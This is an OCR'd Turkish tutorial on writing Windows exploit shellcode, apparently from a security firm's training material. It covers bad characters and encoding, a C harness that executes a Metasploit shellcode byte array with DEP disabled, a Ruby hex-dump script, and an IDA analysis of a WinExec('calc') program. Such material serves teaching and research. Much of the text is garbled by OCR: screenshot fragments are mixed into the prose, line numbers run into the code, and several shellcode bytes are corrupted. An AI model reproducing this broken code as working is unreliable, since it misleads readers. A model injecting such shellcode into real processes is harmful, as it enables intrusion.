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l. GIRIS

Exploit shellcode’u nedir

Bir uygulamanin hafiza alanina kendi girdimizi yazabildikten ve uygulama akisini ydnlendirme imkanini
elde ettikten sonraki adim hedef uygulama prosesi iginde istedigimiz herhangi bir kodun galistiriimasidir.

Exploit shellcode’u makine dilinde hedefledigimiz prosesin hafiza alanina yazilacak ve istedigimiz islemi
gerceklestirecek koddur.

Shellcode kisitlari ve asma yontemleri

Bellek tasma agikliklarinda en 6nemli kisitlardan ilk ikisi shellcode icindeki kot karakterler ve
shellcode’un uzunlugu. Kot karakterlere 6rnek olarak shellcode’umuzu hafizaya yazmak icin C string
fonksiyonlarinin kullanildigi durumlarda null karakterini, yani HEX “00” karakterini 6rnek verebiliriz.
Shellcode’umuzun icinde yer alacak opcode’larin icinde null karakterinin bulunmasi halinde
shellcode’umuzun hafizaya kopyalanmasi bu karakter ile karsilasildiginda son bulabilir. Kétu
karakterlerden assembly kodlama yontemlerimizle veya encoding ile kurtulmak mimkiin. Encoding
yontemini kullandigimizda kodun basina decode kodunu eklememiz gerekeceginden shellcode’umuzun
uzunlugu artacaktir.

Shellcode’un uzunlugu 6zellikle shellcode’umuzu yerlestirmek icin ¢esitli nedenlerden dolayi hafizada
sinirh yerimiz olmasi halinde ciddi bir problem haline geleceginden burada da akilli bir yaklasima ¢ok
ihtiyacimiz olabilir.

Exploit shellcode ¢alismamiza baslamak igin gerekli 6n bilgiler

Exploit shellcode gelistirme g¢alismalarindan dnce stack tabanli bellek tasma agikhiklari ile ilgili temel
bilgilere ihtiyaciniz olacaktir. PE dosya formati, hafiza organizasyonu, stack’in isleyisi gibi konularda
gerekli bilgileri edinmenizde blyik fayda bulunmaktadir. Dogrusu bu temel konulara hakim olmadan
shellcode gelistirmek mimkin degil.

Bu konulara ek olarak belli seviyede Assembly dili hakimiyetine de ihtiyacimiz olacak. Assembly’ye ne
kadar hakim olursak gelistirecegimiz shellcode ile ilgili problemleri asmak ve daha akilli shellcode
gelistirmek i¢in avantaj kazaniriz.

swve

Shellcode gelistirme yetkinliginin getirecegi diger kazanimlar

Bu ¢alisma sonunda kendi shellcode’umuzu gelistirebilir hale gelmenin yani sira Metasploit gibi baska bir
kaynaktan edindigimiz bir shellcode’u tersine miihendislik yontemiyle inceleyebilmek icin de gerekli
altyapiyi olusturmus olacagiz.

Shellcode gelistirme ¢alismamizin sonunda zararli yazihmlar i¢in statik analiz yetkinliklerinin de bir
kismina hakim olacagiz, ¢clinkii daha sonra agiklayacagim kisitlar dolayisi ile normalde derlenmis PE
dosyasi icinde rahatlikla gozlemleyebilecegimiz kitiphane ve fonksiyon isimleri shellcode’umuz icinde
gorilemeyecek. Bu yontem zararli yazilimlarda da aynen bu sekilde ancak zararli yazilim analistinin

:
h'l'l'" 5 I.( BTRISK BiLGi GUVENLIiGi VE BT YONETISIM HiZMETLERI %




BTRisk Bilgi Glivenligi ve BT Yonetisim Hizmetleri
Exploit Shellcode Gelistirme

calismasini zorlastirmak amaciyla kullanildigindan zararli yazilim incelemeleri sirasinda size ciddi katki
saglayacaktir.

Shellcode veya zararl yazilimlarla yakindan ilgili bir diger konu da encoding konusu. Encoding zararli
yazilimlar icinde kullanilan binary kodun incelenmesini zorlastirma amaciyla, shellcode gelistirme
siirecinde ise daha 6nce bahsettigim gibi kodun icinde bulunabilecek koti karakterlerden kurtulmak icin
kullanilmaktadir. Eger shellcode’umuz kot niyetli olacaksa encoding yontemi her iki amacg icin de
kullanigli bir arag olacaktir elbette.

Gelistirecegimiz shellcode ile Metasploit shellcode’lar arasindaki farklar

Biz calismamiz sirasinda belli fonksiyonlari Windows 7 ortaminda ¢agiracak bir shellcode’u egitim amaclh
olarak gelistirecegiz. Ancak Metasploit gibi bir cerceve icin shellcode gelistiriyor olsaydik
shellcode’umuzun daha parametrik olmasini hedeflemeliydik.

Ornegin Metasploit Windows/Exec payload’unda c¢alistirilacak olan komutu parametrik olarak
belirleyebildigimiz gibi.

Ayrica gesitli Windows versiyonlarinda sorunsuz calisacak bir kod gelistirmeyi de hedeflememiz
kullanicilar agisindan daha kullanish olurdu. Metasploit’te Windows shellcode’umuzu iretirken
Metasploit bize shellcode’un hangi platformda calismasi gerektigini sormaz, ¢linki Urettigi kod modern
Windows isletim sistemlerinin hepsini destekler.

Bu calismada shellcode gelistirme ile ilgili temel konulari ve ihtiyaclari net olarak ifade edecegiz, ancak
gelistirecegimiz kodlarin cok alt seviyede olmasi ve bu kodlarin ¢alismasi sirasinda gorsellestirme
imkanlari az olacagindan dikkatinizi yogunlastirmaniz gerektigini ifade etmeliyim. Burada agiklayacagimiz
konularin kalici bicimde anlasilabilmesi icin kendi kuracaginiz laboratuvar ortamlarinda benzer
¢alismalari yapmaniz en etkili ydntem olacaktir.
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Il. SHELLCODE TEST ARACLARIMIZ

Gelistirecegimiz shellcode’lari test etmek icin basit bir C kodu kullanacagiz. Derlenmis kodumuzu C
uygulama diline uygun formatta bir degiskene atayacagiz. Bir fonksiyon pointer’i tanimladiktan sonra bu
pointer’i shellcode’umuzu yerlestirdigimiz degiskenin hafizadaki adresine esitliyoruz. Daha sonra s6z
konusu fonksiyonu gagirdigimizda veri olarak hafizaya yazdigimiz shellcode’umuzu galistirmis olacagiz.

unsigned char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x5b"
"\x31\xc9\xb1\x8e\xbo\xb6\x30\x43"
"\x14\x43\xe2\xfa"
"\x87\x7F\xd2\x3d\x83\x86\xb6\xb6"
"\xb6\x3d\xc0O\xba\x3d\xco\xaa\x3d"
"\xe8\xbe\x3d\xc8\x96\x3d\x80\x8e"
"\xf9\xae\xc3\x45\xe5\xde\x55\xa8"
"\xa4\xa6\x5e\x97\xb6\xb6\xb6\x35"
9. "\x72\xb2\xed\xdc\xb6\xde\xd5\xd7"
10. "\xda\xd5\x3f\x57\xdc\xb6\xe7\x49"
11. "\x66\xe5\xde\x4e\x2f\x89\x8a\x5e"
12. "\xb2\xb6\xb6\xb6\xdc\xb6\x49\x66"
13. "\x3d\xda\x92\xbe\x3d\xf3\x8a\x3d"
14. "\xe2\xb3\xce\xb7\x5c\x3d\xfc\xae"
15. "\x3d\xec\x96\xb7\x5d\xff\x3d\x82"
16. "\x3d\xb7\x58\x87\x49\x87\x76\x4a"
17. "\x1a\x32\x76\xc2\xb1\x77\x79\xb9"
18. "\xb7\x71\x5d\x42\x8d\xca\x92\xb2"
19. "\xc3\x55\x3d\xec\x92\xb7\x5d\xdo"
20. "\x3d\xba\xfd\x3d\xec\xaa\xb7\x5d"
21. "\x3d\xb2\x3d\xb7\x5e\x75"

oNOOTUVT A~ WNBR

22. ;
23. int main(int argc, char **argv)
24. {

25. int(*f)();
26. f = (int(*)()) shellcode;
27. (int) (*F)();
28. }
test.c

Test icin kullanacagimiz uygulamamizi Visual Studio ortaminda derleyecegiz. Ancak veri saklanan
alanlarda calistirma hakkini kaldiran linkleme opsiyonunu gevsetecegiz. Aksi takdirde veri alaninda
saklayacagimiz shellcode’umuzu galistiramayiz.

h'l'r" : I.( BTRISK BiLGi GUVENLIGi VE BT YONETISIM HiZMETLERI




BTRisk Bilgi Glivenligi ve BT Yonetisim Hizmetleri
Exploit Shellcode Gelistirme

N test - Microsoft Visual Studio Express 2013
FILE EDIT VIEW PROJECT BULD

ro|BuRP|D-C -

| Configuration: [Active(Release) =] Platform: [Activewin32) ~] [ Configuration Manager... |

Solution Explorer v 4 X

T b Common Properties Entry Point =
{Global Scope) 41 Confiquration Properties No Entry Point No co@(e-2am| o &~
unsigned char she I General Set Checksum No Search Solution Explorer (Ctri+s) p-
" \xfc\xes\x89\x9 o DthQging Base Address [3] Solution ‘test’ (1 project)
"\x8b\x52\x0c\x8b VC++ Directories Randomized Base Address Ves (/DYNAMICBASE) a4 [5]est
9 Licens Fixed Base Address #5 Extemal Dependencies
\x31\xc@\xac\x3d] 4 Linker No (/NXCOMPAT:NO) [=] 7 Header Files
"\xfO\x52\x57\x8b General Turn Off Assembly Generation No £ Resource Files
"\xcO\x74\x4a\x0 I&"":‘ = Unload delay loaded DLL {b 4 4 SourceFiles
i e Nobind delay loaded DLL b e Testc
\x3c\x49\x8b\x34 Debugging Import Library
| 5
"\x01\xc7\x38\xed s Merge Sections
"\ x8b\x58\x24\xe I iosain Target Machine MachineX86 (/MACHINE:X86)
Profil N
" all Windows Metadata bod 2
\x@4\x8b\x01\xd@ Y CLR Thread Attribute
"\xe®\x58\x5f\x5all All Options CLRImage Type Default image type Propaies
"\x00\x00\x50\x68|| Command Line Ray kila main VCCodeFunction v
@ b Manifest Tool Key Container =
\x68\xa6\x95\xbd|l b XML Document Generator Delay Sign BN E
"\x05\xbb\x47\x13|l b Browse Information CLR Unmanaged Code Check B C++ -
"\x00"; b Build Events Error Reporting Promptimmediately (/ERRORREPORT:PROMPT) (Name) main
: L b Custom Build Step SectionAlignment File cesg\kaynakitest.c
=int main(int argge | b Code Analysis Preserve Last Error Code for Pinvoke FullName main
Image Has Safe Exception Handlers  Yes (/SAFESEH) IsDefault False
int(*f)() . { IsDelete False
= (iRt ; Data Execution Prevention (DEP) IsFinal False
= (int(*)() Marks an executable as having been tested to be compatible with Windows Data Execution Islnjected False <
(int) (*F)(); — Prevention feature. (/NXCOMPAT[:NO]) Ylntine Fatea
— Ce+
o) o ()

Yukarida gordiigliniiz uygulama icinde shellcode degiskeninin icinde Metasploit ile Gretmis oldugumuz
shellcode var. Visual studio ile uygulamamizi assembly seviyesinde debug ederek bu degisken alaninda
bulunan verinin nasil kod gibi calistirildigini gérelim.

D4 test (Debugging) - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VIEW PROJECT BULD DEBUG TEAM TOOLS TEST WINDOW  HELP
f@-o| % M9 - | p Contine - icen ir A inmd|re bR infEl =z Rann.

¥ Process: | [10336] test.exe ~| 7 Suspend + Thread: | [10328] Main Thread -| ¥ = Stack Frame: | main -JE

Memory 1

+ | Viewing Options
012EOFFE 00 00

-- c:\esgjkaynak\test.c
int(*f)();
£ = (int(*)()) shellcode;

(int) (*F) O3
© 012E1000 b8 18 30 2 01 mov eax,12E3018h
©012E1005 FF DO call eax
213 ):
012E1007 33 (0 xor eax,eax
012E1009 C3 ret
--- f:\dd\vctools\crt\crtw32\misc\i386\secchk.c
©12E100A 3B @D 00 30 2E o1 cmp ecx,dword ptr ds:[12E3000h]

Registers * B X | Watchl

EAX = 6E@9F62C EBX = 00000000 ECX = 0047A4(8 EDX = 00000000 ESI = 00000001 -
EDI = 00000000 EIP = ©12E1000 ESP = @O3EFA28 EBP = @O3EFA64 EFL = 00000244

Locals [RRTRGEY Call Stack Immediate Window Memeory 2

Test kodumuz C dilinin kurallarini uygulamak amaciyla casting dedigimiz veri tipi donistmlerini
uyguluyor. Yani fonksiyon olarak calistiracagimiz veri alaninin adresini bir fonksiyon pointer’ina
donustirdikten sonra bu fonksiyonu ¢agiriyoruz. Ancak uygulamanin assembly karsiligina baktigimizda
¢ok daha basit bir kod goriiyoruz. Pencerede gordiigliniiz gibi shellcode degiskenindeki verinin bir
fonksiyon gibi calistirilmasi sadece shellcode degiskeninin adresinin EAX register’ina aktarilmasi ve bu
adresin CALL edilmesinden ibaret.
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Shellcode gelistirme ¢alismalarimizi yapmak igin C ve Assembly dillerini kullanacagiz. C derleyicisi olarak
Visual Studio’yu, Assembly derleyicisi olarak Windows ortaminda “NASM” assembler’ini kullanacagiz.

Gelistirme g¢alismalarimiz sirasinda C dilinin inline assembly imkanindan da faydalanacagiz.

Derlenmis olan kodumuzda yer alan opcode’lari C dilinde onaltilik diizende ifade edilebilir sekle ¢cevirme
ihtiyacimiz olacak. Bunun igin su basit Ruby script’i kullanacagiz. Bu script girdi olarak aldig1 dosyadaki
her bir karakteri okuyarak C formatinda onaltilik diizende standart output’a yazacak.

i=0
satirBoyu=8
toplamByteSayisi=0
File.open(ARGV[@].to_s, 'rb').each_byte do |b]|
if i == 0 then
printf '"'
end
if i < satirBoyu then
9. printf "\\x" + "%02x" % b
10. i+=1
11. toplamByteSayisi+=1
12. end
13. if i == satirBoyu then
14. print """ + "\n"
15. i=0
16. end
17. end
18. if not i == @ then printf '"' end
19. printf "\n\nToplam byte sayisi:... %d" % toplamByteSayisi

oONOOUVThA WNR

hexyaz.rb
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lll. STANDART BiR UYGULAMA

Shellcode gelistirme ¢alismamiza standart bir uygulamayi inceleyerek baslayacagiz.

Once calculator uygulamasini ¢alistiran basit bir C uygulamasi tizerinde ¢alisalim.

1. #include <windows.h>

2

3. int main(int argc, char **argv)
4. {

5 WinExec("calc",0);

6

}

S.C

C dilinde gelistirdigimiz uygulamanin derlenmis kodunda yer alacak Opcode’lari shellcode olusturmak
icin kullanmayi deneyecegiz.

Kod karmasikligini azaltmak icin kodumuzu release versiyonunda derleyecegiz. Ayrica stack security
ozelligini ve debugger’da bu kodu inceledigimizde yerini daha rahat bulabilmak igin ASLR 6zelligini de
kaldiracagiz. ASLR 6zelligini kaldirsak da Windows 7 yiklenen uygulamanin baz adresini
farkhlastirdigindan “Fixed Base Address” 6zelligini de Evet olarak belirlememiz gerekiyor. Bu

degisiklikleri sadece incelememizi kolaylastirmak icin yaptigimizi tekrar ediyorum.

O s - Microsoft Visual Studi
FLE EDIT VEW PROJECT

Configuration: |Active(Release) v Platform: [Active(Win32)

b Common Properties  ~ Entry Point - [ Solution Explorer
ac ion Properties No Entry Point No co@le-2am|o s - I
Genes), el No Search Solution Explorer (Ctrles) p-
Debugging Base Address —y -
VC#+ Directories Randomized Base Address No /DYNAMICBASE:NO) ko] Solution s’ (1 project)
dic/Crs Fixed Base Address Yes (/FIXED) = A0 T —
Genenl Data Execution Prevention (DEP)  Yes (/NXCOMPAT) - He:":r Fil‘:‘" encies
T Turn Off Assembly Generation No - :
Preprocessor 4 Resource Files
) Unload delay loaded DLL & :
Code Generation > 4 4l Source Files
Nobind delay loaded DLL b
Language e Libs — * s
Precompiled Heade|= por by
R Merge Sections .
Browse Information) Target Machine MachineX86 (/MACHINE:X86)
Advanced Profile No
All Options CLR Thread Attribute
Command Line CLRImage Type Default image type Properties
4 Linker Key File cperics .
General Key Container main VCCodeFunction %
Input Delay Sign Bl R
Manifest File CLR Unmanaged Code Check B Cis &
Debugging Error Reporting Promptimmediately (/ERRORREPORT:PROMPT) end .
System [ SectionAlignment File lesgl dasc
Optimization Preserve Last Error Code for Plnvoke ¢ e = ¥
Embedded IDL :
Image Has Safe Exception Handlers  Yes (/SAFESEH)
Windows Metadata ';g*:'“" it
Advanced elete
All Options Jiond Bue Roores IsFinal False
et Creates a program that can be loaded only atits preferred base address (/FIXED[:NO]) njected i
n Telntine. Ealea ¥
Ces
[Cok ][ concel ][ ey ] -

Kodumuzu derledikten sonra IDA Pro’da acalim.
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[ 104 - ex

File Edit Jump Search View Debugger Options Windows Help
BH e MM ) D0 A S F X > 0O )@ @ )

A Tl i i ) P
||| Ubrary functon 1 Data [l Regular function Il Unexplored [l Instruction | Extemal symbol I
[7] Functions window o8 x Davews @ | texviewA [) [ [A] stucwes [ [E]  Ewms [ [ #E ot ) [@  Eeers 0|
Function name o
7] _main
7] __tmainCRTStartup =
(7] _CoUnhandledExceptionFilter EXCEPTIO | s
m_xlptfingr ¥ | This file has been generated by The Interactive Disassembler (IDA) |
(7] _amsg_exit A Copyright (c) 2013 Hex-Rays, <support@hex-rays.com>
K4l ;ub 40120F 3] Evaluation version 1
(7] sub_4012F0 :

(7] _tsNonwritablelnCurrentimage ; Input MD5  : SDA2F OF48OBES933827ES7EAFELOEICT
(7] _ValidatelmageBase ; Input CRC32 : 04024782
(7] sub_401431
Z] sub_401509 - ; File Name 1 C:\ESG\s\Release\s.exe
SR - » ; Format : Portable executable for 80386 (PE)

Linelof35 ; Imagebase : 400000
; Section 1. (virtual address 80801080)
A, Graph overview 0& x| ; Virtual size : 0000084 2124.)
; Section size in File : 90606A0O ( 2560.)
; Offset to raw data for section: 006008640,
; Flags 60000620: Text Executable Readabl:
; Alignment : default
; 0S type : MS Windous
: Annlicatinon tune: Fxecutahle 32hit
100.00% (0,0) 00000400 00401000: main
5] output window oe& x
Dt A S P
You may start to explore the input file right now. 4
Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.
Type library ‘vcéwin' loaded. Applying types...
Types applied to 1 names.
Using FLIRT signature: Microsoft UisualC 2-11/net runtime
Propagating type information... |
Function argument information has been propagated 0

The initial autoanalysis has been finished. 4

nC
AU; _idle Down Disk: 223GB

IDA Pro start-up sequence veritabani sayesinde farkl derleyicilerin main fonksiyonunu ¢agirmadan énce
Urettigi kodu taniyarak 6ntanimli olarak bize main fonksiyonunu goérintiler. IDA Pro’da IDA View
penceresinde gorilen assembly instruction’larinin hafizada bulunacagi Virtual Address degerlerini
gormek icin Options/General menusi icinde “Display disassembly line parts” bolimundeki “Line

prefixes” secenegini secebiliriz. Burada main fonksiyonunun (uygulamanin ASLR destegi olmamasi
kaydiyla) HEX “40 10 00” adresinden basladigini gériiyoruz. Statik analiz yaptigimiz, yani uygulamayi
hafizaya yiklemedigimiz, icin uygulama ASLR secenegi ile derlenmis olsa bile zaten uygulamanin tercihi
olan baz adres IDA tarafindan dikkate alinmaktadir. Derlenmis uygulamamizdaki opcode’lari
gorinttlemek icinse yine Options/General menisi icinde “Display disassembly line parts” bolimindeki
“Number of opcode bytes” degerini “8” olarak belirleyebiliriz.

File Edit Jump Search View Debugger Options Windows Help
BH e HHA B 3« DO - X > DO o)W @ )
A1l 11N il & - (-]

Libeary function 1 Data [l Regular function il Unexplored [l Instruction  External symbol

e

You may start t’n ;x;lo-r::‘tvneii;lﬁ;:; file right now.

Type library ‘vcéwin' loaded. Applying types...

Types applied to 1 names.

Using FLIRT signature: Microsoft UisualC 2-11/net runtime
Propagating type information...

Function argument information has been propagated

The initial autoanalysis has been finished.

nC
AU;__idle

Down. Disk: 223GB
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[7] Functions window o8& x DaviewA [ [[O] tHexviewA [ [ [A] stucwes [ [E  Ewms ) [#  iwpers ) | {#  Beos (3|
Function name - 80401000 ; Segment type: Pure code
B _mai M 00401000 ; Segment permissions: Read/Execute
mamn. A 06461000 _text segment para public 'CODE' use32

[7] _tmainCRTStartup b 60461008 assume cs:_text
(7] stz L 00401000 ;org 401008h
(7] _CotnhandledExceptionFilter EXCEPTIO 00401000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:noth:
7] XeptFilter 00401000
[7) _amsq_esit 004081008
(7] sub_40120€ cetelhobic . s
m <ub_ 4012F0 00401000 H u]t __cdecl main(int argc, const char =xargu, const char =

= 2 00461008 _main proc near
(7] _tsNonwritablelnCurrentimage 86481668 6A 08 push @ ; utmdShow
(7] _ValidatelmageBase 80461602 68 06 21 48 08 push offset CmdLine ; “calc”
‘\Z] sub_401431 00481607 FF 15 00 26 46 00 call ds:WinExec
(7] sub_401509 - 00401000 33 CO xor eax, eax
] » 08040100F €3 retn
Linel of 35 8040100F _main endp

0640106F
Ak, Graph overview oé& x| @
H 100.00% (-333,426) (549,268) 00000400 00401000: main

[Z] output window o0& x

Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.
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Test etmek istedigimiz fikrimiz bu opcode’lari dogrudan shellcode olarak kullanip kullanamayacagimiz.

ilk instruction’imiz olan “push 0” problemsiz olarak baska bir prosesin hafizasina yazildiginda
cahisacaktir. Ancak ikinci instruction olan “push offset CmdLine” instruction’imizda séyle bir problemimiz
var. CmdLine offset degeri lizerine cift tikladigimizda bu verinin “.rdata” section’inda HEX “40 21 00”

adresinde oldugunu goriyoruz.

IDA - CAE ex
File Edit Jump Search View Debugger Options Windows Help

BH e HH6 S 3 o DO At -AuiX > OOsme ) 6@ T

7 ‘ i = B

MW ] 1— ==
" Library function 1 Data [l Regular function Il Unexplored [l Instruction ' External symbol 1
7] Functions window 08 x|[[@ oavewsn B [0 teviewa [ [l stwcwwes [ [FE  eum 0 [ & wos 0 [ bes 0|

Fecionnns - o '
7] _main © |.rdata:804020F7 db 0

(7] _tmainCRTStartup ® |.rdata:804620F8 off_4026F8 dd offset dword_403050 : DATA XREF: _ report_gsfailure+EDTo

® |.rdata:8040620FC dd offset dword_4030A0
7] _CotnhandledExceptionFilter EXCEPTIO ¢ |.rdata:00402100 ; char CmdLine[]
XeptFilter E .rdata:00402100 CmdLine db ‘calc',0 ; DATA XREF: _main+2fo
amsq_edt F ° |.rdata:eoue2165 align 4
m;ub 4012DF : .rga:a:gg:g;::g _lnad_cnnfig_us:= :ﬂ 48h H ?ze & il
.4 _rdata: ; Time stamp L

@ sub_{012F0  |.rdata: 86402119 dw 2 dup(8) ; Version: 0.9 il
[7] _ENonwritablelnCurrentimage * [.rdata: 00402114 dd 8 ; GlobalFlagsClear

(7] _ValidatelmageBase L4 * |.rdata: 00402118 dd @ ; GlobalFlagsSet

(7] sub_401431 * |.rdata: 0040211C dd 8 : criticalSectionnefaultﬂmew

z] sub_401509 ® |.rdata: 004062120 dd © ; DeCommitFreeBlockThreshold

(z] sub_401582 : .rdata: 00402124 dd o ; DeCommitTotalFreeThreshold

(7] sub_s015C7 ¢ |-rdata:eousz128 dd 9 : LockPrefixTable

E]sub 40157 . .rdata:0040212C dd o H N?ximmlmcatmnsize

= — .rdata: 00462130 dd @ ; VirtualWemoryThreshold

7] _setdefautprecision ¢ |.rdataz 00402134 dd 0 i ProcessAffinityHask

f] _initterm_e ® |.rdata: 00402138 dd 8 ; ProcessHeapFlags

_initterm * |.rdata:8048213C du @ ; CSDUersion

_SEH_prologd . ¢ |.rdata:0040213E du 8 ; Reservedi

:7‘1 co1i oo - * |.rdata:e0402140 dd 8 ; Editlist

Linel of 35 00000F00 00402100: .rdata:CmdLine -
=| Output window 0o& x
Dt A S s P

You may start to explore the input file right now. L

Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.

Type library ‘vcéwin' loaded. Applying types...

Types applied to 1 names.

Using FLIRT signature: Microsoft UisualC 2-11/net runtime

Propagating type information...

Function argument information has been propagated L

The initial autoanalysis has been finished. 4
DC
AU;__idle Down Disk: 223GB

ikinci instruction’i olusturan bu opcode’lari aynen kendi shellcode’umuzda kullanirsak shellcode’un
icinde calisacagi proses icindeki HEX “40 21 00” adresi stack’e yazilacak. Bu adreste de bizim kullanmak
istedigimiz veri bulunmayacak. Dolayisiyla bu ihtiyacimizi karsilayabilmek igin ihtiya¢ duyacagimiz
verilerin stack’e ylkleyecegimiz shellcode’umuzun icinde bulunmasi gerekir. Ayrica shellcode’umuzu
baska bir uygulamanin hafizasina yazdigimizda adresini kullanmak istedigimiz verimizin hangi adresten
baslayacagini tahmin etmemiz mimkiin olmayacaktir. Bu nedenle bu adresi dinamik olarak tespit
etmenin de bir yolunu bulmamiz gerekecek.

Ugtincii instruction Winexec fonksiyonunu c¢agiriyor.
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5 o \sexe
File Edit Jump Search View Debugger Options Windows Help
EH e BB S Y 6 T et A X > DOk )@ @ |
A Tl e - T =
|| Lrary functon 1 Data Il Regular function [l Unexplored [l Instruction | Extemal symbol I
[7] Functions window o8 x aviews B [0 texvewa ) [[A] stucwres [ [E]  Ewms ) [ F3  dmots ) [ @ Bees [ |
Function name & 00401000
m thain 80401008 .686p
i . 00401000 «AmX
7] _tmainCRTStartup b 80401008 “model flat
L4 00401600
7] _CoUnhandledExceptionFilter( EXCEPTIO 00401008
_XcptFilter 00401000 ; Segment type: Pure code
_amsg_exit 00401000 ; Segment permissions: Read/Execute
(7] sub_40120€ 00401000 _text segment para public 'CODE' use32
7 sub_4012F0 00401000 assume cs:_text
N . 00401000 jorg 461006h
m—k"‘.mwmmd"cum"“mage 00401000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:noth
(7] _ValidatelmageBase 00401008
(7] sub_401431 06461000
(7] sub_401509 - 06461008
- L4 00401008 ; int __cdecl main{int argc, const char xxargu, const char =
Linel of 35 80401000 _main proc near
= 00401000 6A 00 push L] ; uCtmdShow
h, Graph overview 0 & x 80401002 68 08 21 48 08 ush offset CmdLine ; "calc”
00401007 [ 0 20 40 86 1] d5 : Vi nEXs I
80461000 336 xor eax, eax
80401006F C: retn
8040100F _main endp
0040106F
H i 100.00% (-333,333) (410,296) 00000407 00401007: main+?
[Z] output window 0& x
Dt T
You may start to explore the input file right now. 4
Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.
Type library ‘vcéwin' loaded. Applying types...
Types applied to 1 names.
Using FLIRT signature: Microsoft UisualC 2-11/net runtime
Propagating type information... N
Function argument information has been propagated 0
The initial autoanalysis has been finished. <
nC
AU; _idle Down Disk: 223GB

Bu fonksiyon uygulamanin import ettigi bir kiitiiphanenin hafizada kapladigi alan icinde bulunacak bir
fonksiyon. Bu noktada da birkag problemle karsilasiyoruz.

Birincisi bu instruction import adres tablosundaki bir noktada bulunacak bir adrese atlamayi saghyor.
Yani call instruction’inin yaninda aslinda ¢agiracagimiz fonksiyonun adresinin bulundugu adres
bulunuyor ve neticede bu adreste bulunan adres bilgisi kullanilarak fonksiyon ¢agriliyor. IDA Pro’da bu
gosterimi net olarak ifade edemiyorum, ama birazdan uygulamamizi Immunity Debugger ile
¢alistiracagiz, burada instruction’in manasini daha net bir sekilde gérecegiz. Aynen “calc” verisinin
adresinde oldugu gibi shellcode’umuzu yikleyecegimiz uygulamanin hafiza alaninda bu adreste hangi
verinin olacagini bilemeyiz. “Winexec” fonksiyon adina cift tikladigimizda bu fonksiyonun adresinin
¢alisma aninda yazilmis olacagi adrese gidebiliriz. IDA Pro ile yaptigimiz incelemenin statik analiz
oldugunu ve Import Adres Tablo’sunun ¢alisma aninda dolacagini hatirlatmak isterim.
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[ Fcm wiiom 06 x|[[@ oavewsn @ [[O] vexvewh [ [ A swcwes [ [E  Ewms ) | %@ ot £) | [ Eees 0]
Function name - .idata: 08402080 ; 1
& .idata: 00402000 ;
(7] _main .idata: 00402000
(7] _tmainCRTStartup .idata:084020088 ; Segment type: Externs
.idata: 00402000 ; _idata
m_C»d)nhandledixcemionFinu(_ExCEPﬂo “|.idata:00402000 ; UINT _ stdcall WinExec(LPCSTR 1pCmdLine, UINT uCmdShow)
_XeptFilter = .idata: 00402000 extrn WinExec:dword CODE XREF: _main+7Tp
amsq_edt F .idata:00492080 ; DATA XREF: _main+7Tr ...
m;ub 40120F s .?data:ﬂﬁﬂﬂ?ﬂ(m ; BOOL _ stdcall IsDebuggerPresent()
(7] sub_4012F0 .idata: 80462084 extrn IsDebuggerPresent :dword . . § B
- 4 .idata: 00462004 ; CODE XREF: ___ raise_securityfailure+3Tp
(7] _tsNonwritablelnCurrentimage .idata: 00402004 ; DATA XREF: raise securityfailure+3tr
(7] _ValidatelmageBase L4 “|.idata: 004062008 ; PUOID __ stdcall DecodePointer(PUOID Ptr)
(7] sub_401431 .idata: 00402008 extrn DecodePointer:dword ; CODE XREF: sub_401509+1CTp
Z]sub_wlsog .idata: 00402008 3 sub_401509+44Tp ...
[7) sub_401582 ? |.idata:op40200C ; void _ stdcall GetSystemTimeAsFileTime(LPFILETIME 1lpSystemTimeAsFileTime)
(7] sub_s015C7 .idata:8040208C extrn GetSystenTimeAsFileTime:dword
= .idata:0040200C ; CODE XREF: sub_u01431+34Tp
%s“b—‘m‘m - .idata:9840206C ; DATA XREF: sub_481431+3uTr
| _setdefaultprecision “|.idata:08462010 ; DWORD _ stdcall GetCurrentThreadld()
_initterm_e .idata: 00402010 extrn GetCurrentThreadid:dword ; CODE XREF: sub 431+43Tp
71 _initterm .idata: 08482010 ; DATA XREF: sub_481431+3JTr
_SEH_prolog4 = “|.idata:00402014 ; DWORD __stdcall GetCurrentProcessld()
;7‘! 'r"m R ; .idata: 00402014 extrn GetCurrentProcessid:dword ; CODE XREF: sub_401431+4CTp
Line1 of 35 |
[Z] Output window 0@ x
Bt T
You may start to explore the input file right now. 4

Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.

Type library ‘vcéwin' loaded. Applying types...

Types applied to 1 names.

Using FLIRT signature: Microsoft UisualC 2-11/net runtime

Propagating type information...

Function argument information has been propagated |

The initial autoanalysis has been finished. =
IDC
AU; _idle Down Disk: 223GB

Ugtincii instruction ile ilgili ikinci problemimiz kullandigimiz uygulamanin “Winexec” fonksiyonunun
icinde bulundugu kutliphaneyi import etmis olmasi, ancak shellcode’umuzu hafizasina yazacagimiz
uygulamanin bu kitiiphaneyi yiiklememis olmasi ihtimali. Bu durumda shellcode’umuz iginde “Winexec”
fonksiyonunu barindiran moduli de yiklememiz gerekecek. PEView’dan calistirilabilir dosyamizi
inceledigimizde .rdata section’i icinde IMPORT Name Table tablosu icinde “Winexec” fonksiyonunun
“KERNEL32.dll” kitliphanesi icinde bulundugunu goriiyoruz. Bu 6rnekte soyle bir sansimiz var, her
Windows uygulamasi hafizaya ylklendiginde “Kernel32.dIlI” modiilu de isletim sistemi tarafindan
hafizaya yiiklenir. Bu nedenle bizim shellcode’umuzda “Kernel32.dll” kitiiphanesini aktif olarak ylikleme
ihtiyacimiz kalmadi. Ancak bu kitiiphane iginde yer alan “Winexec” fonksiyonunun adresini bulma
ihtiyacimiz halen var. iste bu ¢ok kolay olmayacak, ama miimkiin oldugunu gérecegiz.

Daha sonraki iki instruction fonksiyon dénis degerinin saklanacagi EAX register’inin sifirlanmasi ve
fonksiyon dontisiinde main fonksiyonunu c¢agiran fonksiyonda kalinan instruction’a donebilmek icin
gerekli RET instruction’l. Bunlara shellcode iginde ihtiyacimiz olmayacak, ama yine de uygulamanin
sorunsuz olarak sonlandirilmasini istersek shellcode’umuzun bitisinde temiz bir proses sonlandirma
islemi gergelestirebiliriz. Bu 6rnek icin bu durumu 6nemsemeyecegiz, ancak genel amacl bir shellcode
gelistirmek icin bu islemi de dikkate almamiz gerekir.

